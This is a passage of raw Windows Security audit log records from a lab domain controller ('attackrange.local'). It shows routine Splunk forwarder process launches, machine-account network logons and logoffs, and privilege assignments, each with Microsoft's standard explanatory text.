- - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8f4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:58:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256112 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3B3A8C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:58:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256111 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3B3A8C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 51220 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:58:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256110 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3B3A8C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:59:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256113 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12c4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:59:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256114 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1398 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:59:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256116 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4b8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:59:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256115 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc48 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:59:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256117 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc7c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:59:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256118 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x484 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:59:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256119 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa1c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:59:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256122 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3B702A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:59:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256121 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3B702A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 51233 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:59:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256120 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3B702A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:00:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256123 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc0c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:00:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256125 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf70 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:00:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256124 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11c0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:00:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256126 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1108 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:00:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256127 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5f0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:00:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256128 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x102c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:00:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256129 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x674 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:00:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256132 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3BA578 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:00:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256131 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3BA578 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 51247 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was 